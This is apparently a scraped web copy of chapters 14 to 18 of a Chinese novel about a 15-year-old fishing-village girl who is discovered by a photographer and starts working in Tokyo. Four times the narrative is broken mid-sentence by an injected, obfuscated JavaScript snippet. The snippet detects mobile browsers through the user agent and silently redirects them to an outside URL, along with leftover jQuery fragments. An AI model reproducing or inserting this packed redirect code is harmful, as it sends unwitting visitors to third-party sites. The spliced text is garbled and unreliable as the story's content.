他看着照片里那道细细的伤疤，看着她棱角分明的脸，看着她闭着眼睛仰起头的样子。他想起小说里的初江——那个在暴风雨里跑过山路的少女，那个不怕海浪、不怕礁石、不怕任何东西的少女。他找了那么久，原来她在这里。 山田站在那里，看了很久。 森本走过来，站在他旁边。两个人都没说话，都看着那张照片。 过了一会儿，山田开口了。 “她是哪里人？” “静冈。海边的一个小渔村。” “多大了？” “十五。” “她叫什么？” “浜田潮子。” 山田点了点头，眼睛没有离开照片。“海边的孩子。” “嗯。” “她身上有海风的味道。” 森本看了山田一眼。他没说话，他知道山田不需要他说话。 “你从哪里找到她的？”山田问。 “她妈妈在一家小酒肆带着她长大。我去采风的时候，路过那里。” “她妈妈……” “陪酒的。”森本的声音很平，“她从小在酒肆里长大。没有父亲。” 山田沉默了一会儿。 “她脸上的伤呢？” “她妈妈打的。也有同学打的。”森本顿了顿，“她的出身不好。在那个小地方，陪酒女的女儿，谁都可以欺负。” 山田没说话。他还在看那张照片。他看见的不只是那张脸，他看见了海风，看见了礁石，看见了那条深蓝色的连衣裙，看见了那道已经快好的伤疤。他看见了那个女孩站在那里，站在所有人面前，什么都没有，什么都不怕。 “森本。” “嗯。” “你是来让我看这个少女的。” 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486549|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是问句，是陈述句。 森本笑了一下。“老朋友还是被你看出来了。” 山田转过头看着他。他的眼睛很亮，里面有笑意，但不是那种轻松的笑。“不直接推荐，非得拐弯抹角？” “这不是想让你亲自确认一下。”森本说，“我的眼睛和你的眼睛，看的东西不一样。我觉得好，不一定你觉得好。” “你什么时候变得这么谦虚了？” “不是谦虚。”森本看着那张照片，“是这孩子太珍贵了。我不敢随便说。我怕我的话说多了，你的眼睛就看不见她了。” 山田愣了一下。他认识森本二十多年了，从来没听他说过这种话。这个拍了大半辈子照片的人，见过了多少脸，拍过了多少面孔。他从来没有用“珍贵”这个词形容过谁。 山田又看向那张照片。少女闭着眼睛，海风吹着她的头发。她不知道有人在看她，不知道有人在她面前站了这么久。她只是坐在那里，坐在礁石上，坐在海风里，坐在那道从顶上打下来的灯光下面。 “你欠我个人情。”山田说。 森本笑了。“话可不能这么说。” “那怎么说？” 森本看着那张照片，沉默了一会儿。“如果这孩子可以让你的女主角活过来，这话应该我说给你听。” 山田转过头，看着森本。他脸上的表情变了。不是开玩笑的表情，是认真的、郑重的、像在说一件很重要的事的表情。 “看来你的评价很高啊。”山田说。 “不是评价高。”森本说，“是她站在那里，你就知道了。” 山田又看回那张照片。他看了很久。 “她叫什么来着？” “浜田潮子。” “潮子。”山田念了一遍这个名字，“海潮的潮？” “嗯。” “好名字。” 他站在那里，又看了一会儿。然后他转过身，往展厅外面走。走了几步，停下来，回过头。 “森本。” “嗯。” “让她来见我。” 森本的心跳了一下。“什么时候？” “下周。”山田说，“我让人联系你。” 他转身走了。围巾从肩上滑下来一半，他也不管，就那么走了出去。 森本站在那里，看着山田的背影消失在展厅门口。他低头看了看自己手里的酒杯，酒一口没喝，杯壁上凝着水珠。他把它放在旁边的桌上，然后转过身，看着那张照片。 少女还坐在礁石上，还闭着眼睛，海风还吹着她的头发。她什么都不知道。不知道刚才有个人在她面前站了那么久，不知道那个人说了一句“让她来见我”。 森本看着照片里的她，轻轻说了一句。 “潮子，你的路要开始了。” 没有人听见。 展厅里还是那样，人们三三两两地走着，低声交谈着。酒杯碰在一起的声音，鞋跟踩在地板上的声音，快门按下的声音。那张照片挂在灰墙上，灯照着它，光从上面洒下来，像海面上的月光。 森本站在那里，看着那张照片，看了很久。然后他转过身，往展厅外面走。走了几步，又停下来，回头看了一眼。 少女还在那里。 他笑了一下。很轻的，嘴角动了一下，眼睛弯了弯。 然后他走了。 15. 第 15 章 咖啡店上午的生意不忙，潮子已经慢慢习惯了这里的节奏。九点开门，擦桌子、摆糖罐、把纸折的花扶正。十点以后陆续有人进来，点一杯咖啡，看报纸，发呆，或者什么也不做。她负责端咖啡、收杯子、擦吧台。老板不怎么说话，圆脸女人叫典子，教她怎么用咖啡机，怎么打奶泡，怎么把杯子摆得好看。 “你不用紧张，”典子说，“客人来这里是歇脚的，不是来挑毛病的。” 潮子点点头。她做事认真，桌子擦得比谁都干净，杯子摆得整整齐齐。典子看在眼里，没说什么，但给她留的午饭分量越来越多。 那天上午十一点多，门被推开了。铃铛响了一声，进来几个穿校服的男生。白色的衬衫，深蓝色的裤子，领口立着，金色的纽扣在灯下反着光。潮子认得那个校服——开成学院。她的心跳了一下，然后她看见了走在最前面的人。 比电视上瘦一些，下颌的线条从耳根一路收拢到下巴，干净利落。皮肤不像甲子园转播时那样被烈日镀成深色，白了一些。他的头发比电视上长了一点，额前垂着几缕，被门风吹起来又落回去。眼睛很深，眉骨的阴影投在眼窝里。他的眉毛浓而舒展，眉尾收得干净，没有多余的杂毛。鼻梁直而挺，从眉心一路下来。嘴唇抿着的时候带着一点天然的冷感，但嘴角的弧度微微向上，那点冷就被中和了，变成一种不设防的温和。他的个子很高，站在那几个男生中间，肩膀的宽度撑起校服的肩线，整个人像一棵被修剪过的树，不张扬，不凌厉，但你就是没办法把目光从他身上移开。 潮子站在吧台后面，手里端着托盘，看着他。她不知道自己在看，也不知道自己愣住了。 他走进来，目光扫过店里，落在她身上。停了一下。 “欢迎光临。”她说。 他点点头，和同学在靠窗的位子坐下。那几个男生一直在说话，声音不大，但能听出来是刻意压着兴奋的那种。其中一个用胳膊肘碰了碰旁边的人，朝潮子的方向努了努嘴，几个人交换了一下眼神，有人低声说了句什么，几个人都笑了。 清源没有笑。他坐下来，拿起桌上的菜单看了一眼，又放下。 潮子走过去，站在桌边。她把托盘夹在身侧，等着他们点单。 “我要一杯咖啡。”其中一个男生说，眼睛没看她，但嘴角翘着。 “我也是。” “我也是。” 轮到清源。“咖啡。”他说。声音很低，很稳，像什么东西落在棉花上。 潮子记下，转身走回吧台。她能感觉到背后的目光，但她没有回头。典子在做咖啡，从咖啡机后面探出头来，往那桌看了一眼，又看了一眼。 “那是今年夏天甲子园里最耀眼的清源幸司吧？”她压低声音，眼睛还看着那个方向，“真好啊，能见到本人。比电视里还要英俊呢。” 潮子没说话。她把咖啡杯摆好，等着典子把咖啡倒进去。 典子看了她一眼，笑了笑，没再说什么。 咖啡做好了。潮子端过去，一杯一杯放在桌上。放到清源面前的时候，她低着头，把杯子轻轻放下。杯碟碰了一下桌面，发出轻微的响声。 “谢谢。”他说。 她抬起头，看了他一眼。很近。她看见他睫毛的影子，看见他鼻梁上被窗光照出来的那道亮线。他也在看她，很平静，像看一个普通的人。她收回目光，转身走回吧台。 身后传来一个男生压低的声音：“清源，你认识她？” “不认识。” “那你看什么？” 没人回答。有人小声笑了一下，被另一个人的咳嗽盖住了。然后安静下来，只有杯碟碰在一起的声音，和窗外的电车声。 潮子站在吧台后面擦杯子。典子走过来，把托盘收走，也没说什么。 那群男生坐了半个小时，走了。临走的时候，走在最后的那个回头看了一眼，被前面的人拉走了。门上的铃铛响了一声，然后安静了。潮子过去收桌子，清源那杯咖啡喝了一半，杯子里的咖啡已经凉了。她把杯子收进托盘，擦干净桌面。窗外的阳光照在那张空桌子上，照着她刚擦过的地方，亮亮的。 那天下午，潮子又出去找工作了。她沿着涩谷的街道一条一条地走，看见门口贴了招工启事的就进去问。一家卖文具的店要人，但只招全职。一家小印刷厂要人，但说“你太小了”。一家洗衣店要人，但工作时间是晚上，和她上课的时间撞了。她走了一个多小时，一家都没找到。腿又开始疼了，脚趾上磨破的地方又裂开了，她在路边的台阶上坐下来，把木屐脱了，看着脚上的伤口。太阳照在脚面上，晒得有点疼。 回到公寓的时候，天还没黑。她推开门，听见客厅里有打字机的声音。高桥女士在赶稿子，桌上摊着一堆稿纸，烟灰缸里塞满了烟头。她看见潮子进来，把眼镜摘下来。 “回来了？” “嗯。” “工作找到了吗？” 潮子摇摇头。她在厨房里烧了水，泡了一杯茶端过去。高桥接过来，喝了一口，看着她。 “你不用这么急。”高桥说，“你才来几天。” 潮子没说话。她站在客厅门口，不知道是该进去还是该走。 高桥看了她一会儿。“过来坐。” 潮子走过去，在沙发边上坐下来。高桥把稿纸推到一边，转过身看着她。 “你的手，”她说，“伸出来。” 潮子愣了一下，把手伸出来。掌心朝上，手指细长，但指甲剪得很短，指节上有小时候干活留下的茧。手背上有一道浅浅的疤，不知道什么时候划的。高桥看着那双手，看了很久。 “你从小干活？”她问。 “嗯。” “你妈妈……” “她在酒肆上班。”潮子说。她没有说“陪酒”，她说“酒肆”。但高桥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486550|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听懂了。 高桥没再问。她靠在沙发上，看着天花板，过了一会儿，说：“你晚上上课，白天打工，下午还要找工作。你才十五岁。” 潮子没说话。 “别人家的孩子十五岁在干什么？”高桥像是在问潮子，又像是在问自己。“在考试，在谈恋爱，在跟父母吵架。你在这里，脚上贴着胶布，到处找工作。” 潮子低下头，看着自己的手。 “你为什么要这么拼？”高桥问。 潮子沉默了一会儿。“我要读书。”她说，“我还要还森本先生的人情。还要给妈妈寄钱。我……”她停了一下，没有说下去。她没有说健一郎。 高桥看着她，看着这个瘦瘦的，坐在沙发边上的女孩。她的眼睛很亮，里面有一种东西，不是可怜，不是委屈，是那种“我知道很难但我不怕”的东西。 “你让我想起一个人。”高桥说。 潮子抬起头。 “我自己。”高桥笑了一下，很淡，“我年轻的时候也是这样。从乡下来，什么都没有，什么都靠自己。那时候如果有人帮我一把，我不会走那么多弯路。” 潮子看着她，没说话。 高桥从桌上拿起一张纸，是她们杂志社的稿纸，上面印着刊头。“我们杂志社需要人帮忙。整理稿件，送文件，打扫暗房。活不多，但能赚点外快。你愿意来吗？” 潮子愣了一下。“可以吗？” “当然可以。”高桥说，“像你那么勤奋的孩子，哪里去找？” 潮子看着她，嘴巴张了张，没说出话来。 “不过我这关面试你已经通过了。”高桥端起茶杯喝了一口，“明天跟我去杂志社，我带你认识一下同事。” 潮子坐在那里，看着她，过了好一会儿，才说：“谢谢您。” 高桥摆摆手，把稿纸拉回来，戴上眼镜，继续改稿子。打字机的声音又响起来了，嗒嗒嗒的，很有节奏。潮子站起来，走到厨房，开始准备晚饭。她把白菜切好，放在盘子里，站在窗口，看着外面那堵灰色的墙。墙根下那丛草还在，绿绿的，从石头缝里长出来。她看了很久，然后转过身，继续做饭。 那天晚上，她躺在床上，把贝壳放在枕头底下。她想起今天在咖啡店，典子说“比电视上还要英俊”。她想起清源看她的那一眼。很干净，什么都没有。不像酒肆里那些男人，不像田中。只是看见了一个人，多看了一眼。她不知道为什么记住了那一眼。也许是因为太干净了，干净得像东京没见过的东西。 她翻了个身，面朝墙壁。她闭上眼睛。明天要去杂志社。要早起。要去咖啡店。要去夜校。她在心里把这些事过了一遍，又过了一遍。然后她睡着了。 窗外，涩谷的夜还是那样亮着。霓虹灯一闪一闪的，把天映成暗暗的橘色。远处有电车开过去，轰隆隆的，越来越远。那个声音，和海浪不一样。但她已经习惯了。 16. 第 16 章 潮子第一天到咖啡店打工的时候，连咖啡是什么都不知道。 她在渔村长大，酒肆里卖的是清酒和烧酎，男人们喝那些东西，喝得脸红脖子粗，拍着桌子唱歌。她没见过有人喝咖啡。那东西黑乎乎的，闻起来有一股焦糊的味道，她第一次端给客人的时候，心想这能好喝吗。客人是个穿西装的中年男人，接过去抿了一口，皱着的眉头松开了，靠在椅背上，长长地呼了一口气。潮子站在旁边，觉得奇怪。在渔村，能让人长出那种表情的东西，只有酒。 后来典子给她也倒了一杯。她站在吧台后面，端着那个小小的杯子，看着里面黑漆漆的液体，犹豫了一下，抿了一口。苦的。涩的。她差点吐出来。典子看着她皱成一团的脸，笑了。“第一次喝都这样。”潮子把那杯咖啡喝完了，不是因为好喝，是因为不想浪费。喝到最后一口的时候，她好像品出了一点什么，说不上来，像海风里混了一点点甜。 现在她已经习惯了。每天上午站在咖啡机前面，看着深褐色的液体流进杯子里，奶泡在上面浮成一层白。她知道美式是苦的，拿铁是顺的，加糖加奶是给怕苦的人准备的。但她还是不怎么喝。她宁愿喝白水。 那天上午的班结束后，典子照例给她留了午饭。她坐在后面的小房间里，把饭吃完，把便当盒洗干净，还给典子。门上的铃铛响了一声，她推门出去，站在街上。涩谷的太阳白花花地照着，她眯了一下眼睛，往公寓的方向走。 回到公寓，高桥女士在玄关等她，手里拎着一个黑色的大包。“走吧。”她说。潮子跟在她后面，走出巷子，拐上大路。杂志社在涩谷车站南边的一座大楼里，五层，灰色的外墙，门口挂着一块铜牌，上面刻着杂志的名字。高桥刷了卡，推开玻璃门，潮子跟在后面走进去。 电梯到了三楼，门打开，迎面是一条长长的走廊。墙上挂着放大的杂志封面，一幅接一幅，像画廊。潮子走过去的时候，忍不住放慢了脚步。那些封面上的面孔——有的在笑，有的在沉思，有的侧着脸，眼睛看着远方。灯光打在上面，每一个人都像在发光。她在一张封面前面停下来，是一个女演员的特写，黑白的，她的脸占满了整个画面，眼睛很大，看着镜头，像有话要说。潮子站在那里，看了很久。 “潮子？”高桥在前面喊她。她回过神，快步跟上去。 办公室比她想的大。一进门是一排排的桌子，上面堆着稿纸、照片、信封、剪刀、胶水。有人在打电话，有人在打字。空气里有纸张的味道，还有咖啡的味道，还有显影液的味道，涩涩的，酸酸的。潮子站在门口，被那个味道呛了一下。 高桥领着她穿过办公室，走到最里面的一间小房间。“这是资料室。”她推开门，里面是一排一排的铁皮柜子，从地板到天花板，密密麻麻的。“你的工作是整理这些资料。按日期、按类别归档。还有，送文件到各个部门。有时候暗房需要帮忙，你也去。” 潮子点点头。 “今天你先跟着我。”高桥从桌上拿起一摞信封，“把这些送到摄影棚。” 摄影棚在走廊的另一头。高桥推开门的时候，潮子站在门口，愣住了。 棚很大，比酒肆大十倍。地上铺着灰色的背景布，几盏巨大的灯架在四周，像金属的树。灯亮着，把整个棚照得白花花的，没有影子。空气里有发胶和定妆粉的味道，还有灯光烤久了的热气，闷闷的。 中间站着一个女人。她穿着一件红色的连衣裙，领口开得很低，头发烫成很大的卷，垂在肩膀上。她的脸化了妆，嘴唇很红，眼睛周围涂了深色的眼影，在灯光下反着光。她站在背景布前面，摆着姿势——下巴微微抬起，手放在腰上，身体侧过去，露出一条腿。摄影师蹲在她前面，举着相机，喊“好，好，再看这边”。快门的声音咔嚓咔嚓的，很快，很密。 旁边站着几个工作人员，有的举着反光板，有的拿着衣服，有的蹲在地上整理电线。没有人说话，只有快门的声音和摄影师偶尔的指令。 潮子站在那里，看着那个女人。她从来没有这么近地看过这样的人。在渔村，在酒肆，在街上，她见过的人都是灰扑扑的、低着头、缩着肩膀的。这个人不一样。她站在那里，像一团火，亮得刺眼。她的每一个动作都是故意的——转头、抬眼、微笑、把头发拨到耳后——但看起来又那么自然，好像她天生就该被灯照着，被镜头追着。 潮子看着她的侧脸，看着灯光在她锁骨上打出的小小的阴影，看着她耳垂上那两颗亮闪闪的耳环，看着她的裙摆被风扇吹起来又落下去。她看得入了迷，手里的信封被她攥出了褶子。 高桥把信封递给一个工作人员，转过身，看见潮子站在那里，一动不动。她没有叫她，只是站在旁边，等着。 过了一会儿，摄影师喊了一声“休息”。那个女人脸上的表情一下子松下来，肩膀塌了，用手扇着风，助理赶紧跑过去给她披上外套。摄影棚里的灯关了几盏，光线暗下来，温度也降了一点。潮子像是被人从水里捞出来一样，回过神来。 “走吧。”高桥说。 潮子跟在她后面走出摄影棚。走廊里很安静，只有远处传来的打字机声。潮子低着头走了几步，突然说：“那个人是谁？” “松本亚矢子。”高桥说，“演员。下期杂志的封面。” 潮子点点头，没再问。但她脑子里还留着那个画面——那个女人站在灯光下的样子，她的红裙子，她耳朵上的亮光。她从来没想过，一个人可以被灯照得那么好看。 回到资料室，高桥教她怎么归档。按日期分，按栏目分，按摄影师的名字分。潮子学得很快，高桥说了一遍她就记住了。她坐在铁皮柜子前面，把一摞一摞的稿纸分好，用夹子夹住，写上标签，放进对应的格子里。 做着这些的时候，她心里很静。这种静是满的，周围全是声音，但那些声音和她没关系。打字机的声音，电话的声音，翻稿纸的声音，远处摄影棚里快门的声音。她在这些声音中间，安安静静地坐着，做自己的事。 下午四点，她该去夜校了。她把剩下的稿纸码整齐，站起来，走到高桥的桌前。 “高桥女士，我去学校了。” 高桥抬起头，看着她。“明天下午还是三点来。” 潮子点点头，转身要走。 “潮子。”她停下来。“今天在摄影棚，”高桥说，“你看松本亚矢子看呆了。” 潮子的脸烫了一下。 “好看吗？”高桥问。 潮子想了想。“好看。”她说，“但不是我见过的最好看的。” 高桥愣了一下。“那谁最好看？” 潮子没有回答。她想起一个人。不是松本亚矢子，不是电视上的清源幸司。是另一个人。那个人没有站在灯光下，没有化妆，没有穿红裙子。她穿着一条深蓝色的连衣裙，坐在礁石上，光着脚，海风吹着她的头发。那是她自己。她不知道那算不算好看，但那一刻，她觉得自己很好看。 “那个坐在礁石上的女孩。”她说。 高桥看了她一眼，没再问。 潮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486551|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子走出杂志社，站在楼下。天还没黑，太阳在西边挂着，把对面的玻璃幕墙照得金灿灿的。她站在那里，仰着头，看了一会儿那片金色的光。然后她低下头，往夜校的方向走。 走到校门口的时候，她停下来。门口的台阶上坐着一个人，穿着工作服，袖口有油渍，手里拿着一个饭盒，正在吃东西。是中村。他看见她，愣了一下，把饭盒放下，站起来。 “浜田。” “中村。” “你今天来得早。” “嗯。” 他看着她，犹豫了一下。“你吃过了吗？” “吃过了。”她说。 中村点点头，把饭盒收起来。两个人一起走进教学楼。走廊里很安静，日光灯嗡嗡地响。潮子走在前面，中村跟在后面。走到教室门口，潮子停下来，回头看了他一眼。 “中村。” “嗯？” “你每天都是自己带饭？” “嗯。家里做的。” “谁做的？” “我自己。”他笑了一下，“我妈很早就没了。我爸在工厂上班，顾不上我。我就自己学着做。” 潮子看着他。 “好吃吗？”她问。 “还行吧。能吃。” 潮子笑了一下。很轻的，嘴角动了一下，眼睛弯了弯。中村看见她笑，愣了一下，也笑了。 他们走进教室，在各自的位子坐下。老师进来了，翻开课本，开始讲课。潮子拿出笔记本，一笔一划地写着。她的字还是那么工整。窗外的天黑了，教室里的灯亮着，照在她的本子上，白花花的。她写着写着，想起摄影棚里那盏灯，想起松本亚矢子站在灯光下的样子。那个人被灯照着，所有人都看着她。而她坐在这里，没有灯照着她，没有人看她。她在笔记本上写下一个字，又写下一个字。她在想，被灯照着是什么感觉。是不是很热？是不是刺眼？是不是站在那里，所有人都看着你，你就不是你自己了？ 她把那个念头按下去，继续听课。老师在讲《蜘蛛之丝》的最后一节。犍陀多掉回了地狱。那根蜘蛛丝断了。他本来可以爬上去的，但他回头看了别人一眼，就掉下去了。潮子想，如果他是自己一个人，是不是就能爬上去？还是说，那根丝本来就是断的，不管有没有别人，它都会断？ 她把这个问题写在笔记本的边上。写完了，看着它，看了一会儿，又划掉了。 下课了。她收拾好东西，走出教室。中村在外面等她。 “浜田。” “嗯？” “明天见。” “明天见。” 她走出校门，往公寓的方向走。走到巷口的时候，她停下来。桂花树在路灯下面，叶子被光照着，亮亮的。她站在树下，仰着头看了一会儿。然后她走进巷子，上楼。 高桥女士的房间灯还亮着。打字机的声音嗒嗒嗒的，从走廊那头传过来。潮子推开自己的房门，把包放下，坐在榻榻米上。窗台上那枚贝壳，白白的，有粉色的纹路。她把它拿起来，放在手心里。凉凉的，硬硬的。 她想起今天在摄影棚里看到的那个画面。那些灯，那个穿红裙子的女人，那些咔嚓咔嚓响的快门。她想起自己坐在礁石上的那天，海风吹着她的头发，森本先生举着相机对着她。那时候也有快门的声音，但没有灯。只有海，只有风，只有她自己。 她不知道哪一个更好。她只知道，那天在海边，她很舒服。就坐在那里，闭着眼睛，让风吹着。那是她这辈子最舒服的时候。 17. 第 17 章 潮子在杂志社干了几天，已经慢慢摸清了这里的规矩。资料室的铁皮柜子她闭着眼睛都能找到，哪个摄影师的照片放在哪一格，哪一年的稿子在哪一排，她记得比谁都清楚。 高桥说她“天生该吃这行饭”，她不知道这算不算夸奖，但她喜欢待在这里。喜欢纸张的味道，喜欢打字机的声音，喜欢那些从暗房里捞出来的照片挂在绳子上、一滴一滴往下淌水的样子。 那天下午，她正在资料室里归档上个月的照片。门开了，一个戴眼镜的年轻人探进头来。“你是新来的？摄影棚缺人手，你来帮忙倒水。”潮子放下手里的照片，跟着他走过去。 摄影棚的门开着，里面比上次来的时候更亮。灯全开着，白花花的，照得她眯了一下眼睛。她站在门口，看见一群人围在背景布前面。摄影师蹲在地上，助理举着反光板，化妆师拎着箱子站在旁边。人群中间站着一个人。 潮子认出了他。 清源幸司。他穿着一件白色的衬衫，袖子挽到手肘，露出小臂。下面是一条深灰色的裤子，没有穿校服，但整个人还是干净得像刚拆封的纸。他的头发比上次在咖啡店的时候短了一点，大概是刚剪过，露出耳朵。他站在那里，听摄影师说话，微微侧着头，下巴的线条在灯光下很硬朗。 潮子端着托盘站在门口，没有动。她看着他，第一次这么近，这么仔细。她看见他的肩膀很宽，白衬衫下面能看出肩胛骨的形状，不是瘦的那种，是练过的，有肌肉撑着，线条从脖子斜着下来，到肩膀那里拐一个弯，顺着胳膊一路下去。他的小臂露在外面，皮肤不白，是晒过的颜色，上面有细细的汗毛，被灯光照成金色。他握着一瓶水，手指很长，指节分明，指甲剪得很短。他站在那里的时候，身体微微侧着，重心放在一条腿上，另一条腿随意地伸着，整个人看起来是松的，但不是散的那种松，是猫那样——看着懒，其实随时能弹起来。 他笑了。摄影师说了什么，他嘴角往上翘，露出一排整齐的牙齿。他的五官是那种让人看了会觉得舒服的长法——眉毛浓而不粗，眉尾收得干净，眼窝有些深，鼻梁直而挺，从眉心一路下来，到鼻尖那里微微收住，线条利落。嘴唇不薄不厚，抿着的时候带着一点自然的弧度，像随时会笑出来。他的皮肤是匀净的暖调，不是刻意晒出来的古铜，是常年在室外打球、被阳光慢慢养出来的颜色。他的整个人的气质是明朗的，干净的，像夏天早晨六七点钟的太阳，不烈，但你知道它会越来越亮。他就是站在那里，坐在那里，安安静静的，但你能感觉到他身上有一种向上的、不费力的生命力。那种生命力不是靠喊口号或者握拳头表现出来的，是从他的眼睛里、从他坐着的姿势里、从他抬起手时袖子滑落露出小臂的那一截皮肤里，一点一点渗出来的。 潮子站在那里，看着他。她见过好看的人。电视上的明星，杂志封面的模特，酒肆里偶尔路过的外地人。但她从来没有这么近地看过一个人，把每一个细节都收进眼睛里。 他和健一郎不一样。健一郎的脸是硬的，棱角分明的，被海风吹出来的那种。他站在那里，像一块礁石，沉默的，压得住浪的。清源不是。他是亮的，是暖的，是那种你一看见就知道他没被生活欺负过的人。他的身上没有伤疤，没有那种被打过、被骂过、被生活按在地上磨过的东西。他的自信是长在骨头里的，不需要证明什么，不需要保护谁，只是站在那里，就知道自己是谁。 潮子看着他，突然想起健一郎。健一郎的眼睛也很亮，但那道光是不一样的。清源的光是天生的，是太阳照在他身上反射出来的。健一郎的光是从里面烧出来的，烧得很深，不让人看见。她不知道为什么在这个时候想起他。也许是清源笑的时候，让她想起健一郎皱眉的样子。也许是因为阳光和礁石本来就不该放在一起比。 “茶来了。”戴眼镜的年轻人喊了一声。潮子回过神，端着托盘走进去。她把茶杯一个一个放在桌上，低着头，没有看他。但她能感觉到他就在旁边，那么近，近得她能闻到他身上的味道——肥皂的，干净的，还有一点点汗味，像刚跑完步的那种。 采访开始了。一个穿西装的男人坐在清源对面，手里拿着笔记本和录音机。潮子端着空托盘站到旁边，等着收杯子。她不应该站在那里，但她没有走。她想知道他会说什么。 “清源君，先聊聊你的棒球生涯吧。你是从什么时候开始接触棒球的？” 清源的声音从她身后传来，低低的，稳得很。“小学二年级。那时候邻居家的孩子在公园里玩，我路过，被球砸了一下。” “被球砸了？” “嗯，砸在头上。”他笑了一下，“他们很紧张，问我有没有事。我说没事，但我想知道是什么东西砸了我。后来就开始玩了。” 潮子听着他的声音。他的声音已经变过了，不是少年那种尖尖的、脆脆的，是低沉的，厚实的，像什么东西稳稳地落在地上。但又不沉，不闷，说话的时候尾音会微微往上扬，听起来很舒服。像他这个人一样，干干净净的。 “热爱棒球吗？” “热爱。”他说，没有犹豫，“从第一天起就热爱。” “在开成学院这样的学校，学业和训练怎么兼顾？” “早起。晚睡。少玩一点。”他说得很简单，好像那些东西不值得说。 “成为棒球明星之后，有什么想法？” 清源沉默了一会儿。潮子站在旁边，等着。 “想法……”他说，“就是觉得，不能辜负那些来看我打球的人。他们花了时间，花了钱，来看一场比赛。我要对得起那些时间。” 采访的人点点头，在本子上记了几笔。旁边有人换录音带的磁带，窸窸窣窣的。清源端起茶杯喝了一口，放下的时候，杯碟碰了一下，发出轻轻的一声响。 潮子站在那里，听着他说的话。每一句都那么稳，那么对，像事先想好的，又像不用想就知道该这么说。她想起在渔村的时候，村里人说话不是这样的。他们说话是碎的，颠来倒去的，说一半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486552|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咽一半，你得猜。他不是。他的每一句话都是完整的，干干净净的，像他这个人一样。 采访结束了。摄影棚里的灯关了几盏，光线暗下来。工作人员开始收拾东西，搬灯的搬灯，收背景布的收背景布。潮子走过去，把桌上的茶杯收进托盘。她低着头，把杯子一个一个码好。 “你好。”声音从头顶传来。她抬起头。清源站在她面前，离她两步远。他看着她，眼睛里有一点什么——不是打量，是认出来了。 “我们见过。”他说，“在咖啡店。” 潮子看着他，没说话。她没想到他会记得。 “那天和朋友一起去的。”他说，“你在这里工作？” “嗯。” 他点点头，看着她。她今天穿着素色的上衣，头发扎起来，露出耳朵。脸上没有妆，干干净净的，鼻尖上那颗痣在摄影棚的灯光下显出来，不抢眼，但你看见了就忘不掉。他的目光在她脸上停了一下，然后移开了。 “你在这里做些什么？” “整理资料。端茶倒水。”她顿了顿，“什么都要做。” 他看着她，又看了一眼她手里的托盘。她端得很稳，手指上有一道浅浅的疤，是小时候留下的。她的手不白，指节上有茧子，指甲剪得很短。他看着那双手，没有说什么。 “你还有咖啡店的工作？”他问。 “嗯。上午在咖啡店。下午在这里。晚上上课。” 他愣了一下。“晚上上课？” “夜校。” 他看着她，眼睛里有什么东西动了一下。他想起自己十七岁，每天做的事情是上学、训练、比赛。他以为那已经很累了。这个女孩比他小，却已经在打几份工，晚上还要读书。她站在那里，端着托盘，瘦瘦的，但站得很直。 “挺了不起的。”他说。 潮子没有回答。她不知道该怎么回答这句话。在渔村，没有人说她了不起。他们说她“可怜”，说她“命不好”，说她“跟她妈一样”。从来没有人说她“了不起”。 “谢谢。”她说。 他点点头，转身走了。走到门口的时候，他停下来，回头看了她一眼。她站在摄影棚中间，手里端着托盘，灯从侧面照过来，照在她脸上，照在她鼻尖那颗痣上。她站在那里，睁着漂亮的大眼睛，像一棵被风吹着的小树，根扎得很深。 潮子站在那里，看着那扇关上的门。她想起他说的话。“挺了不起的。”她的鼻子酸了一下。她把托盘端到厨房，把杯子洗干净，放回柜子里。然后她回到资料室，继续归档那些照片。 那天晚上，她躺在榻榻米上。她想起清源说的那些话。他的声音还在她耳朵里转，低低的，厚实的。她想，原来十七岁的男孩子可以长成这样。没有伤疤，没有被打过的痕迹，站在那里就知道自己是谁。她想起健一郎。他十七岁的时候，会是什么样？也会像清源一样吗？不会。他是大海，大海不需要光。它自己就是深的。她把贝壳攥在手心里，翻了个身。 18. 第 18 章 森本是在一个傍晚来的。 